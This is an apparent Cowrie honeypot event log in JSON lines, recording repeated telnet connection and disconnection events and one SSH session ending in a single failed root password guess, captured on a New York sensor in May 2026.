{"eventid":"cowrie.session.closed","duration":30.674253940582275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:43.229901Z","src_ip":"174.142.104.49","session":"e5f1d7e70b2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33554,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d24f8d2ab28","protocol":"telnet","message":"New connection: 174.142.104.49:33554 (159.203.135.109:23) [session: 5d24f8d2ab28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:43.442732Z"}
{"eventid":"cowrie.session.closed","duration":0.005448341369628906,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:43.448046Z","src_ip":"174.142.104.49","session":"5d24f8d2ab28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.747291564941406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:43.605848Z","src_ip":"174.142.104.49","session":"7924b8463217","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57900,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f2f39611b97","protocol":"telnet","message":"New connection: 174.142.104.49:57900 (159.203.135.109:23) [session: 0f2f39611b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:43.627140Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38032,"dst_ip":"159.203.135.109","dst_port":23,"session":"d53bf393e875","protocol":"telnet","message":"New connection: 161.132.53.68:38032 (159.203.135.109:23) [session: d53bf393e875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:43.761871Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56482,"dst_ip":"159.203.135.109","dst_port":23,"session":"524a453e67c7","protocol":"telnet","message":"New connection: 174.142.104.49:56482 (159.203.135.109:23) [session: 524a453e67c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:43.896963Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":41106,"dst_ip":"10.17.0.5","dst_port":23,"session":"be299e955d4b","protocol":"telnet","message":"New connection: 193.22.147.168:41106 (10.17.0.5:23) [session: be299e955d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:43.902074Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56494,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ed352165b20","protocol":"telnet","message":"New connection: 174.142.104.49:56494 (159.203.135.109:23) [session: 7ed352165b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:43.905930Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56560,"dst_ip":"159.203.135.109","dst_port":23,"session":"af8c725df4b8","protocol":"telnet","message":"New connection: 174.142.104.49:56560 (159.203.135.109:23) [session: af8c725df4b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:43.935859Z"}
{"eventid":"cowrie.session.closed","duration":31.547242641448975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:43.961981Z","src_ip":"174.142.104.49","session":"04bd4a2efddf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58548,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ba2def8e080","protocol":"telnet","message":"New connection: 174.142.104.49:58548 (159.203.135.109:23) [session: 7ba2def8e080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:44.017747Z"}
{"eventid":"cowrie.session.closed","duration":120.00163960456848,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:44.067352Z","src_ip":"174.142.104.49","session":"9550dd5751bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00162148475647,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:44.306896Z","src_ip":"174.142.104.49","session":"34fe5063422e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14184880256653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:44.589581Z","src_ip":"174.142.104.49","session":"63cd9ede5a6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":75.65351295471191,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:45.079937Z","src_ip":"174.142.104.49","session":"d402e1b49dc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43731665611267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:45.095043Z","src_ip":"174.142.104.49","session":"df7d663c9eb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58708,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e9699d81d92","protocol":"telnet","message":"New connection: 174.142.104.49:58708 (159.203.135.109:23) [session: 8e9699d81d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:45.108180Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59096,"dst_ip":"159.203.135.109","dst_port":23,"session":"03c63c9e4c38","protocol":"telnet","message":"New connection: 174.142.104.49:59096 (159.203.135.109:23) [session: 03c63c9e4c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:45.318933Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59132,"dst_ip":"159.203.135.109","dst_port":23,"session":"8abc85bafce1","protocol":"telnet","message":"New connection: 174.142.104.49:59132 (159.203.135.109:23) [session: 8abc85bafce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:45.334883Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59254,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cd52b57ec6a","protocol":"telnet","message":"New connection: 174.142.104.49:59254 (159.203.135.109:23) [session: 7cd52b57ec6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:45.402893Z"}
{"eventid":"cowrie.session.closed","duration":30.70287322998047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:45.516419Z","src_ip":"174.142.104.49","session":"b69594b8d329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95544457435608,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:45.692397Z","src_ip":"174.142.104.49","session":"ed9cb869608f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33434,"dst_ip":"159.203.135.109","dst_port":23,"session":"f22b48a1e7ef","protocol":"telnet","message":"New connection: 174.142.104.49:33434 (159.203.135.109:23) [session: f22b48a1e7ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:45.774385Z"}
{"eventid":"cowrie.session.closed","duration":31.599459409713745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:45.804573Z","src_ip":"193.22.147.168","session":"67e0f0542732","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.240765810012817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:46.272066Z","src_ip":"174.142.104.49","session":"c10199756191","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60908,"dst_ip":"159.203.135.109","dst_port":23,"session":"d26765938e39","protocol":"telnet","message":"New connection: 174.142.104.49:60908 (159.203.135.109:23) [session: d26765938e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:46.277797Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34778,"dst_ip":"159.203.135.109","dst_port":23,"session":"f682cd7c9601","protocol":"telnet","message":"New connection: 174.142.104.49:34778 (159.203.135.109:23) [session: f682cd7c9601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:46.533090Z"}
{"eventid":"cowrie.session.closed","duration":30.585094213485718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:46.545896Z","src_ip":"174.142.104.49","session":"23a471e29d70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942787170410156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:46.632396Z","src_ip":"174.142.104.49","session":"416f89598830","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34976,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc63f9421062","protocol":"telnet","message":"New connection: 174.142.104.49:34976 (159.203.135.109:23) [session: dc63f9421062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:46.654474Z"}
{"eventid":"cowrie.session.closed","duration":31.587231159210205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:46.849203Z","src_ip":"174.142.104.49","session":"9b0e7578024e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.311699390411377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:47.122487Z","src_ip":"174.142.104.49","session":"195d1431a366","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39402,"dst_ip":"159.203.135.109","dst_port":23,"session":"781c3207f1b7","protocol":"telnet","message":"New connection: 174.142.104.49:39402 (159.203.135.109:23) [session: 781c3207f1b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:47.463723Z"}
{"eventid":"cowrie.session.closed","duration":0.005262136459350586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:47.468824Z","src_ip":"174.142.104.49","session":"781c3207f1b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":41112,"dst_ip":"10.17.0.5","dst_port":23,"session":"67cc7c5cf075","protocol":"telnet","message":"New connection: 193.22.147.168:41112 (10.17.0.5:23) [session: 67cc7c5cf075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:47.493187Z"}
{"eventid":"cowrie.session.closed","duration":31.49197006225586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:47.639854Z","src_ip":"174.142.104.49","session":"582d96ae0c24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36724,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7ce605966fb","protocol":"telnet","message":"New connection: 174.142.104.49:36724 (159.203.135.109:23) [session: f7ce605966fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:47.732762Z"}
{"eventid":"cowrie.session.closed","duration":31.586352348327637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:47.755784Z","src_ip":"174.142.104.49","session":"e82108a4d37a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37704,"dst_ip":"159.203.135.109","dst_port":23,"session":"09b6270b5832","protocol":"telnet","message":"New connection: 174.142.104.49:37704 (159.203.135.109:23) [session: 09b6270b5832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:48.301748Z"}
{"eventid":"cowrie.session.closed","duration":32.48073959350586,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:48.358711Z","src_ip":"161.132.53.68","session":"3956794a6616","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59402,"dst_ip":"159.203.135.109","dst_port":23,"session":"5db15abd78f5","protocol":"telnet","message":"New connection: 174.142.104.49:59402 (159.203.135.109:23) [session: 5db15abd78f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:48.553491Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52198,"dst_ip":"159.203.135.109","dst_port":23,"session":"de8dc54cc783","protocol":"telnet","message":"New connection: 174.142.104.49:52198 (159.203.135.109:23) [session: de8dc54cc783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:48.681787Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":57520,"dst_ip":"159.203.135.109","dst_port":22,"session":"42b4450c576c","protocol":"ssh","message":"New connection: 165.154.6.69:57520 (159.203.135.109:22) [session: 42b4450c576c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:48.781595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:48.786702Z","src_ip":"165.154.6.69","session":"42b4450c576c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.42542004585266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:48.902890Z","src_ip":"174.142.104.49","session":"98c8853837af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.013986110687256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:48.909544Z","src_ip":"174.142.104.49","session":"01ba7987ff48","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:49.002541Z","src_ip":"165.154.6.69","session":"42b4450c576c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37336,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7b60b1455ca","protocol":"telnet","message":"New connection: 174.142.104.49:37336 (159.203.135.109:23) [session: b7b60b1455ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:49.056306Z"}
{"eventid":"cowrie.session.closed","duration":30.28124499320984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:49.388130Z","src_ip":"174.142.104.49","session":"10dbd2ecc397","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58325695991516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:49.448446Z","src_ip":"174.142.104.49","session":"3df6106469a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40166,"dst_ip":"159.203.135.109","dst_port":23,"session":"c58ebd45df91","protocol":"telnet","message":"New connection: 174.142.104.49:40166 (159.203.135.109:23) [session: c58ebd45df91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:49.699274Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":40278,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca059ad9376a","protocol":"telnet","message":"New connection: 193.22.147.168:40278 (10.17.0.5:23) [session: ca059ad9376a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:49.719012Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35194,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bd57cddee34","protocol":"telnet","message":"New connection: 174.142.104.49:35194 (159.203.135.109:23) [session: 3bd57cddee34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:49.789649Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"antalya07","message":"login attempt [root/antalya07] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:49.898484Z","src_ip":"165.154.6.69","session":"42b4450c576c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":90.26752471923828,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:49.925128Z","src_ip":"174.142.104.49","session":"f22e13ec1e58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.013129234313965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:49.936202Z","src_ip":"161.132.53.68","session":"427db56d0a33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40724,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad90c2be9b08","protocol":"telnet","message":"New connection: 174.142.104.49:40724 (159.203.135.109:23) [session: ad90c2be9b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:50.041088Z"}
{"eventid":"cowrie.session.closed","duration":30.803621292114258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:50.218337Z","src_ip":"174.142.104.49","session":"a88058cf221c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.498218059539795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:50.413197Z","src_ip":"174.142.104.49","session":"9f66640537d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.79192352294922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:50.468946Z","src_ip":"193.22.147.168","session":"687199231a2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":40272,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fcc3f00193b","protocol":"telnet","message":"New connection: 193.22.147.168:40272 (10.17.0.5:23) [session: 9fcc3f00193b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:50.731902Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40286,"dst_ip":"159.203.135.109","dst_port":23,"session":"f991e2398366","protocol":"telnet","message":"New connection: 174.142.104.49:40286 (159.203.135.109:23) [session: f991e2398366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:50.793632Z"}
{"eventid":"cowrie.session.closed","duration":32.07846260070801,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:50.888090Z","src_ip":"161.132.53.68","session":"60797b69f816","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43591547012329,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:51.041875Z","src_ip":"174.142.104.49","session":"238143910c2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:51.117550Z","src_ip":"165.154.6.69","session":"42b4450c576c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.045020818710327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:51.122653Z","src_ip":"174.142.104.49","session":"42bfc0fc8b53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.533682823181152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:51.127193Z","src_ip":"174.142.104.49","session":"caa8d5090241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.931812286376953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:51.193774Z","src_ip":"174.142.104.49","session":"4c2933d3a460","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.532850980758667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:51.440695Z","src_ip":"174.142.104.49","session":"715e7fcd679f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.027591228485107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:51.571137Z","src_ip":"174.142.104.49","session":"83112122aefd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85070013999939,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:51.693693Z","src_ip":"161.132.53.68","session":"85829a2d1ce5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":55830,"dst_ip":"159.203.135.109","dst_port":23,"session":"953dd6cfbe5a","protocol":"telnet","message":"New connection: 161.132.53.68:55830 (159.203.135.109:23) [session: 953dd6cfbe5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:51.808718Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42320,"dst_ip":"159.203.135.109","dst_port":23,"session":"232e436b756d","protocol":"telnet","message":"New connection: 174.142.104.49:42320 (159.203.135.109:23) [session: 232e436b756d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:52.013723Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44032,"dst_ip":"159.203.135.109","dst_port":23,"session":"d14566211cef","protocol":"telnet","message":"New connection: 174.142.104.49:44032 (159.203.135.109:23) [session: d14566211cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:52.022698Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":40290,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e95009f1294","protocol":"telnet","message":"New connection: 193.22.147.168:40290 (10.17.0.5:23) [session: 6e95009f1294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:52.255115Z"}
{"eventid":"cowrie.session.closed","duration":30.986243724822998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:52.328966Z","src_ip":"174.142.104.49","session":"0bb1c1441d38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":40292,"dst_ip":"10.17.0.5","dst_port":23,"session":"f654228e317b","protocol":"telnet","message":"New connection: 193.22.147.168:40292 (10.17.0.5:23) [session: f654228e317b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:52.406137Z"}
